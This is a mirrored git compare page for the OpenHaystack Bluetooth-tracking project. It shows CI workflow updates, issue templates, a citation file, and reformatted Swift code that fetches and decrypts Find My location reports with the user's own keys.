mirror of
https://github.com/seemoo-lab/openhaystack.git
synced 2026-02-14 17:49:54 +00:00
Compare commits
102 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8d214aa5eb | ||
|
|
27d975b1f0 | ||
|
|
173eb741fa | ||
|
|
17410e2c00 | ||
|
|
3ef4280df1 | ||
|
|
1b66d15cad | ||
|
|
e8dcf61daa | ||
|
|
7d72fa1ac1 | ||
|
|
6eb2822632 | ||
|
|
fe1e286182 | ||
|
|
4e0f37d129 | ||
|
|
6b3196e798 | ||
|
|
9829d6ceb4 | ||
|
|
6c4895d68f | ||
|
|
33716d7f9d | ||
|
|
e27051e71e | ||
|
|
ed2c80b8c7 | ||
|
|
62bbee528e | ||
|
|
00e3b5ad14 | ||
|
|
3d593a006c | ||
|
|
b65a6e6be0 | ||
|
|
190d9f35dd | ||
|
|
ebfe7922ec | ||
|
|
005d642dd8 | ||
|
|
c349ffde7f | ||
|
|
f582d86455 | ||
|
|
e55a0959af | ||
|
|
278fe4e30d | ||
|
|
d9a1a33b1e | ||
|
|
3a8e543491 | ||
|
|
c6600b0555 | ||
|
|
9363dc0534 | ||
|
|
e95fe0cc32 | ||
|
|
599c24042d | ||
|
|
204473c1cf | ||
|
|
e55aa25d9c | ||
|
|
e39e328a89 | ||
|
|
f9149cdc74 | ||
|
|
206a2e7004 | ||
|
|
78fba7391c | ||
|
|
aa7c0a50af | ||
|
|
48ceb9550c | ||
|
|
6105a9454a | ||
|
|
71fb26da56 | ||
|
|
c7a15fe0e4 | ||
|
|
ffc5170ea4 | ||
|
|
f73c1ac636 | ||
|
|
5dc6158da7 | ||
|
|
ba174196c0 | ||
|
|
c618aab843 | ||
|
|
f8fb99cc41 | ||
|
|
9f41994380 | ||
|
|
b5a577ec4e | ||
|
|
b513d47ddc | ||
|
|
acdae59b39 | ||
|
|
880f1356de | ||
|
|
edf2b59754 | ||
|
|
cf5103f62f | ||
|
|
21eacc6c5c | ||
|
|
bdb8e8047b | ||
|
|
d1731c608a | ||
|
|
9f8352b022 | ||
|
|
0e126e7882 | ||
|
|
c7696b6687 | ||
|
|
1883d47ac9 | ||
|
|
76a01c187b | ||
|
|
2db31902d4 | ||
|
|
a88f5abeb4 | ||
|
|
cf0416e174 | ||
|
|
eb07546640 | ||
|
|
37de037986 | ||
|
|
5117674ac9 | ||
|
|
d5546e1fa8 | ||
|
|
1b6eadb301 | ||
|
|
2f32efef24 | ||
|
|
e7a6135d95 | ||
|
|
9406f817f3 | ||
|
|
ab1c3eb83a | ||
|
|
b56aa1faa7 | ||
|
|
dda406b3d7 | ||
|
|
1c6ef9f0e1 | ||
|
|
470dd1192d | ||
|
|
3ede0e1981 | ||
|
|
5d5ea30b52 | ||
|
|
3c84aae67d | ||
|
|
0c9997993d | ||
|
|
c3a4610b87 | ||
|
|
25dd8ac2d3 | ||
|
|
f3daa51fd1 | ||
|
|
fc09091510 | ||
|
|
e8c319c0c7 | ||
|
|
087f780410 | ||
|
|
a68448a25c | ||
|
|
599b604fa9 | ||
|
|
c57b4c9545 | ||
|
|
fab6cf8b55 | ||
|
|
df917a7e64 | ||
|
|
f7d9a17587 | ||
|
|
cbb85d97d0 | ||
|
|
d3b72de00c | ||
|
|
6116000977 | ||
|
|
48897cd890 |
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
title: ''
|
||||
labels: bug
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
1. Go to '...'
|
||||
2. Click on '....'
|
||||
3. Scroll down to '....'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**OpenHaystack version:**
|
||||
[e.g. 0.3.4] (copy from _OpenHaystack → About OpenHaystack_)
|
||||
|
||||
**macOS version:**
|
||||
[e.g. 11.3]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
20
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
---
|
||||
name: Feature request
|
||||
about: Suggest an idea for this project
|
||||
title: ''
|
||||
labels: enhancement
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A clear and concise description of what you want to happen.
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
10
.github/ISSUE_TEMPLATE/general-question.md
vendored
Normal file
10
.github/ISSUE_TEMPLATE/general-question.md
vendored
Normal file
@@ -0,0 +1,10 @@
|
||||
---
|
||||
name: General question
|
||||
about: Ask a question
|
||||
title: ''
|
||||
labels: question
|
||||
assignees: ''
|
||||
|
||||
---
|
||||
|
||||
|
||||
2
.github/actions/build-esp-idf/action.yaml
vendored
2
.github/actions/build-esp-idf/action.yaml
vendored
@@ -20,7 +20,7 @@ runs:
|
||||
sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
|
||||
mkdir -p /opt/esp
|
||||
cd /opt/esp
|
||||
git clone --recursive --depth 1 --branch v4.2 https://github.com/espressif/esp-idf.git
|
||||
git clone --recursive --depth 1 --branch release/v4.3 https://github.com/espressif/esp-idf.git
|
||||
cd /opt/esp/esp-idf
|
||||
./install.sh
|
||||
- name: Build firmware
|
||||
|
||||
24
.github/workflows/build-app.yml
vendored
24
.github/workflows/build-app.yml
vendored
@@ -9,6 +9,7 @@ on:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- OpenHaystack/**
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
APP: OpenHaystack
|
||||
@@ -17,26 +18,18 @@ defaults:
|
||||
working-directory: OpenHaystack
|
||||
|
||||
jobs:
|
||||
lint-swift:
|
||||
runs-on: macos-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Run SwiftLint"
|
||||
run: swiftlint --reporter github-actions-logging
|
||||
|
||||
format-swift:
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-14
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Install swift-format"
|
||||
run: brew install swift-format
|
||||
- name: "Run swift-format"
|
||||
run: swift-format --recursive --mode lint .
|
||||
run: swift-format lint --recursive .
|
||||
|
||||
format-objc:
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-14
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
@@ -46,17 +39,16 @@ jobs:
|
||||
run: clang-format -n **/*.{h,m}
|
||||
|
||||
build-app:
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-14
|
||||
needs:
|
||||
- lint-swift
|
||||
- format-swift
|
||||
- format-objc
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
- name: "Select Xcode 15.3"
|
||||
uses: keehun/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
version: "15.3"
|
||||
- name: "Archive project"
|
||||
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
|
||||
|
||||
6
.github/workflows/build-cve-2020-9986.yaml
vendored
6
.github/workflows/build-cve-2020-9986.yaml
vendored
@@ -16,7 +16,7 @@ defaults:
|
||||
|
||||
jobs:
|
||||
lint-swiftlint:
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-11
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
uses: keehun/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
- name: "Archive project"
|
||||
@@ -47,7 +47,7 @@ jobs:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
uses: keehun/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
- name: "Archive project"
|
||||
|
||||
1
.github/workflows/build-firmware-esp32.yaml
vendored
1
.github/workflows/build-firmware-esp32.yaml
vendored
@@ -9,6 +9,7 @@ on:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/ESP32/**
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build-firmware-esp32:
|
||||
|
||||
3
.github/workflows/build-firmware.yaml
vendored
3
.github/workflows/build-firmware.yaml
vendored
@@ -9,6 +9,7 @@ on:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/Microbit_v1/**
|
||||
workflow_dispatch:
|
||||
|
||||
defaults:
|
||||
run:
|
||||
@@ -16,7 +17,7 @@ defaults:
|
||||
|
||||
jobs:
|
||||
build-firmware:
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-14
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
|
||||
|
||||
9
.github/workflows/release.yml
vendored
9
.github/workflows/release.yml
vendored
@@ -4,6 +4,7 @@ on:
|
||||
push:
|
||||
tags:
|
||||
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build-firmware-esp32:
|
||||
@@ -30,7 +31,7 @@ jobs:
|
||||
|
||||
build-and-release:
|
||||
name: "Create release on GitHub"
|
||||
runs-on: macos-latest
|
||||
runs-on: macos-14
|
||||
env:
|
||||
APP: OpenHaystack
|
||||
PROJECT_DIR: OpenHaystack
|
||||
@@ -42,10 +43,10 @@ jobs:
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
- name: "Select Xcode 15.3"
|
||||
uses: keehun/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
version: "15.3"
|
||||
- name: "Add ESP32 firmware"
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
|
||||
6
.gitignore
vendored
6
.gitignore
vendored
@@ -2,6 +2,10 @@
|
||||
# Created by https://www.toptal.com/developers/gitignore/api/xcode,swift
|
||||
# Edit at https://www.toptal.com/developers/gitignore?templates=xcode,swift
|
||||
|
||||
## macOS ##
|
||||
|
||||
.DS_Store
|
||||
|
||||
### Swift ###
|
||||
# Xcode
|
||||
#
|
||||
@@ -106,4 +110,4 @@ iOSInjectionProject/
|
||||
# End of https://www.toptal.com/developers/gitignore/api/xcode,swift
|
||||
|
||||
# Exports folder
|
||||
Exports/
|
||||
Exports/
|
||||
1
.pre-commit
Executable file
1
.pre-commit
Executable file
@@ -0,0 +1 @@
|
||||
make app-autoformat
|
||||
31
CITATION.cff
Normal file
31
CITATION.cff
Normal file
@@ -0,0 +1,31 @@
|
||||
# This CITATION.cff file was generated with cffinit.
|
||||
# Visit https://bit.ly/cffinit to generate yours today!
|
||||
|
||||
cff-version: 1.2.0
|
||||
title: OpenHaystack
|
||||
message: 'If you use this software, please cite it as below.'
|
||||
type: software
|
||||
authors:
|
||||
- given-names: Alexander
|
||||
family-names: Heinrich
|
||||
affiliation: 'SEEMOO, TU Darmstadt'
|
||||
orcid: 'https://orcid.org/0000-0002-1150-1922'
|
||||
- given-names: Milan
|
||||
family-names: Stute
|
||||
affiliation: 'SEEMOO, TU Darmstadt'
|
||||
orcid: 'https://orcid.org/0000-0003-4921-8476'
|
||||
- given-names: Matthias
|
||||
family-names: Hollick
|
||||
affiliation: 'SEEMOO, TU Darmstadt'
|
||||
orcid: 'https://orcid.org/0000-0002-9163-5989'
|
||||
repository-code: 'https://github.com/seemoo-lab/openhaystack'
|
||||
abstract: >-
|
||||
OpenHaystack is a framework for tracking personal
|
||||
Bluetooth devices via Apple's massive Find My network. Use
|
||||
it to create your own tracking tags that you can append to
|
||||
physical objects (keyrings, backpacks, ...) or integrate
|
||||
it into other Bluetooth-capable devices such as notebooks.
|
||||
license: AGPL-3.0
|
||||
commit: 7d72fa1ac19d2a9f6dec43011be07df8976a8b02
|
||||
version: 0.5.3
|
||||
date-released: '2023-10-09'
|
||||
@@ -1,9 +1,10 @@
|
||||
//
|
||||
// AppDelegate.swift
|
||||
// OFFetchReports
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 04.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
@@ -12,30 +13,30 @@ import SwiftUI
|
||||
@main
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
var window: NSWindow!
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = OFFetchReportsMainView()
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = OFFetchReportsMainView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.isReleasedWhenClosed = false
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
window.isReleasedWhenClosed = false
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
func applicationWillTerminate(_ aNotification: Notification) {
|
||||
// Insert code here to tear down your application
|
||||
}
|
||||
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
func applicationShouldTerminateAfterLastWindowClosed(_ sender: NSApplication) -> Bool {
|
||||
return true
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "BoringSSL.h"
|
||||
|
||||
|
||||
@@ -1,22 +1,23 @@
|
||||
//
|
||||
// ContentView.swift
|
||||
// OFFetchReports
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 04.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
struct ContentView: View {
|
||||
var body: some View {
|
||||
Text("Hello, World!")
|
||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||
}
|
||||
var body: some View {
|
||||
Text("Hello, World!")
|
||||
.frame(maxWidth: .infinity, maxHeight: .infinity)
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
static var previews: some View {
|
||||
ContentView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,97 +1,106 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
struct DecryptReports {
|
||||
|
||||
/// Decrypt a find my report with the according key
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
let keyData = key.privateKey
|
||||
/// Decrypt a find my report with the according key
|
||||
/// - Parameters:
|
||||
/// - report: An encrypted FindMy Report
|
||||
/// - key: A FindMyKey
|
||||
/// - Throws: Errors if the decryption fails
|
||||
/// - Returns: An decrypted location report
|
||||
static func decrypt(report: FindMyReport, with key: FindMyKey) throws -> FindMyLocationReport {
|
||||
let payloadData = report.payload
|
||||
let keyData = key.privateKey
|
||||
|
||||
let privateKey = keyData
|
||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||
let privateKey = keyData
|
||||
let ephemeralKey = payloadData.subdata(in: 5..<62)
|
||||
|
||||
guard let sharedKey = BoringSSL.deriveSharedKey(
|
||||
fromPrivateKey: privateKey,
|
||||
andEphemeralKey: ephemeralKey) else {
|
||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||
}
|
||||
|
||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||
|
||||
print("Derived key \(derivedKey.base64EncodedString())")
|
||||
|
||||
let encData = payloadData.subdata(in: 62..<72)
|
||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||
|
||||
let decryptedContent = try self.decryptPayload(payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||
print(locationReport)
|
||||
return locationReport
|
||||
guard
|
||||
let sharedKey = BoringSSL.deriveSharedKey(
|
||||
fromPrivateKey: privateKey,
|
||||
andEphemeralKey: ephemeralKey)
|
||||
else {
|
||||
throw FindMyError.decryptionError(description: "Failed generating shared key")
|
||||
}
|
||||
|
||||
/// Decrypt the payload
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
/// - tag: AES GCM tag
|
||||
/// - Throws: AES GCM error
|
||||
/// - Returns: Decrypted error
|
||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||
let derivedKey = self.kdf(fromSharedSecret: sharedKey, andEphemeralKey: ephemeralKey)
|
||||
|
||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||
print("IV \(iv.base64EncodedString())")
|
||||
print("Derived key \(derivedKey.base64EncodedString())")
|
||||
|
||||
let sealedBox = try AES.GCM.SealedBox(nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||
let symKey = SymmetricKey(data: decryptionKey)
|
||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||
let encData = payloadData.subdata(in: 62..<72)
|
||||
let tag = payloadData.subdata(in: 72..<payloadData.endIndex)
|
||||
|
||||
return decrypted
|
||||
}
|
||||
let decryptedContent = try self.decryptPayload(
|
||||
payload: encData, symmetricKey: derivedKey, tag: tag)
|
||||
let locationReport = self.decode(content: decryptedContent, report: report)
|
||||
print(locationReport)
|
||||
return locationReport
|
||||
}
|
||||
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &longitude, {content.subdata(in: 4..<8).copyBytes(to: $0)})
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
/// Decrypt the payload
|
||||
/// - Parameters:
|
||||
/// - payload: Encrypted payload part
|
||||
/// - symmetricKey: Symmetric key
|
||||
/// - tag: AES GCM tag
|
||||
/// - Throws: AES GCM error
|
||||
/// - Returns: Decrypted error
|
||||
static func decryptPayload(payload: Data, symmetricKey: Data, tag: Data) throws -> Data {
|
||||
let decryptionKey = symmetricKey.subdata(in: 0..<16)
|
||||
let iv = symmetricKey.subdata(in: 16..<symmetricKey.endIndex)
|
||||
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, {content.subdata(in: 0..<4).copyBytes(to: $0)})
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
print("Decryption Key \(decryptionKey.base64EncodedString())")
|
||||
print("IV \(iv.base64EncodedString())")
|
||||
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, {content.subdata(in: 8..<9).copyBytes(to: $0)})
|
||||
let sealedBox = try AES.GCM.SealedBox(
|
||||
nonce: AES.GCM.Nonce(data: iv), ciphertext: payload, tag: tag)
|
||||
let symKey = SymmetricKey(data: decryptionKey)
|
||||
let decrypted = try AES.GCM.open(sealedBox, using: symKey)
|
||||
|
||||
let latitudeDec = Double(latitude)/10000000.0
|
||||
let longitudeDec = Double(longitude)/10000000.0
|
||||
return decrypted
|
||||
}
|
||||
|
||||
return FindMyLocationReport(lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished, t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
static func decode(content: Data, report: FindMyReport) -> FindMyLocationReport {
|
||||
var longitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &longitude, { content.subdata(in: 4..<8).copyBytes(to: $0) })
|
||||
longitude = Int32(bigEndian: longitude)
|
||||
|
||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||
var latitude: Int32 = 0
|
||||
_ = withUnsafeMutableBytes(of: &latitude, { content.subdata(in: 0..<4).copyBytes(to: $0) })
|
||||
latitude = Int32(bigEndian: latitude)
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: secret)
|
||||
var counter: Int32 = 1
|
||||
let counterData = Data(Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: ephKey)
|
||||
var accuracy: UInt8 = 0
|
||||
_ = withUnsafeMutableBytes(of: &accuracy, { content.subdata(in: 8..<9).copyBytes(to: $0) })
|
||||
|
||||
let derivedKey = shaDigest.finalize()
|
||||
let latitudeDec = Double(latitude) / 10000000.0
|
||||
let longitudeDec = Double(longitude) / 10000000.0
|
||||
|
||||
return Data(derivedKey)
|
||||
}
|
||||
return FindMyLocationReport(
|
||||
lat: latitudeDec, lng: longitudeDec, acc: accuracy, dP: report.datePublished,
|
||||
t: report.timestamp, c: report.confidence)
|
||||
}
|
||||
|
||||
static func kdf(fromSharedSecret secret: Data, andEphemeralKey ephKey: Data) -> Data {
|
||||
|
||||
var shaDigest = SHA256()
|
||||
shaDigest.update(data: secret)
|
||||
var counter: Int32 = 1
|
||||
let counterData = Data(
|
||||
Data(bytes: &counter, count: MemoryLayout.size(ofValue: counter)).reversed())
|
||||
shaDigest.update(data: counterData)
|
||||
shaDigest.update(data: ephKey)
|
||||
|
||||
let derivedKey = shaDigest.finalize()
|
||||
|
||||
return Data(derivedKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,222 +1,238 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Combine
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Combine
|
||||
|
||||
class FindMyController: ObservableObject {
|
||||
static let shared = FindMyController()
|
||||
static let shared = FindMyController()
|
||||
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
@Published var error: Error?
|
||||
@Published var devices = [FindMyDevice]()
|
||||
|
||||
func loadPrivateKeys(from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
func loadPrivateKeys(
|
||||
from data: Data, with searchPartyToken: Data, completion: @escaping (Error?) -> Void
|
||||
) {
|
||||
do {
|
||||
let devices = try PropertyListDecoder().decode([FindMyDevice].self, from: data)
|
||||
|
||||
self.devices.append(contentsOf: devices)
|
||||
self.fetchReports(with: searchPartyToken, completion: completion)
|
||||
} catch {
|
||||
self.error = FindMyErrors.decodingPlistFailed(message: String(describing: error))
|
||||
}
|
||||
}
|
||||
|
||||
func importReports(reports: [FindMyReport], and keys: Data, completion: @escaping () -> Void)
|
||||
throws
|
||||
{
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: keys)
|
||||
|
||||
// Decrypt the reports with the imported keys
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
// Add the reports to the according device by finding the right key for the report
|
||||
for report in reports {
|
||||
|
||||
guard
|
||||
let deviceIndex = devices.firstIndex(where: { (device) -> Bool in
|
||||
device.keys.contains { (key) -> Bool in
|
||||
key.hashedKey.base64EncodedString() == report.id
|
||||
}
|
||||
})
|
||||
else {
|
||||
print("No device found for id")
|
||||
continue
|
||||
}
|
||||
if var reports = devices[deviceIndex].reports {
|
||||
reports.append(report)
|
||||
devices[deviceIndex].reports = reports
|
||||
} else {
|
||||
devices[deviceIndex].reports = [report]
|
||||
}
|
||||
}
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt the reports
|
||||
self.decryptReports {
|
||||
self.exportDevices()
|
||||
DispatchQueue.main.async {
|
||||
completion()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func importDevices(devices: Data) throws {
|
||||
var devices = try PropertyListDecoder().decode([FindMyDevice].self, from: devices)
|
||||
|
||||
// Delete the decrypted reports
|
||||
for idx in devices.startIndex..<devices.endIndex {
|
||||
devices[idx].decryptedReports = nil
|
||||
}
|
||||
|
||||
self.devices = devices
|
||||
|
||||
// Decrypt reports again with additional information
|
||||
self.decryptReports {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func fetchReports(with searchPartyToken: Data, completion: @escaping (Error?) -> Void) {
|
||||
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
let fetchReportGroup = DispatchGroup()
|
||||
|
||||
let fetcher = ReportsFetcher()
|
||||
|
||||
var devices = self.devices
|
||||
for deviceIndex in 0..<devices.count {
|
||||
fetchReportGroup.enter()
|
||||
devices[deviceIndex].reports = []
|
||||
|
||||
// Only use the newest keys for testing
|
||||
let keys = devices[deviceIndex].keys
|
||||
|
||||
let keyHashes = keys.map({ $0.hashedKey.base64EncodedString() })
|
||||
|
||||
// 21 days
|
||||
let duration: Double = (24 * 60 * 60) * 21
|
||||
let startDate = Date() - duration
|
||||
|
||||
fetcher.query(
|
||||
forHashes: keyHashes,
|
||||
start: startDate,
|
||||
duration: duration,
|
||||
searchPartyToken: searchPartyToken
|
||||
) { jd in
|
||||
guard let jsonData = jd else {
|
||||
fetchReportGroup.leave()
|
||||
return
|
||||
}
|
||||
|
||||
do {
|
||||
// Decode the report
|
||||
let report = try JSONDecoder().decode(FindMyReportResults.self, from: jsonData)
|
||||
devices[deviceIndex].reports = report.results
|
||||
|
||||
} catch {
|
||||
print("Failed with error \(error)")
|
||||
devices[deviceIndex].reports = []
|
||||
}
|
||||
fetchReportGroup.leave()
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Completion Handler
|
||||
fetchReportGroup.notify(queue: .main) {
|
||||
print("Finished loading the reports. Now decrypt them")
|
||||
|
||||
// Export the reports to the desktop
|
||||
var reports = [FindMyReport]()
|
||||
for device in devices {
|
||||
for report in device.reports! {
|
||||
reports.append(report)
|
||||
}
|
||||
}
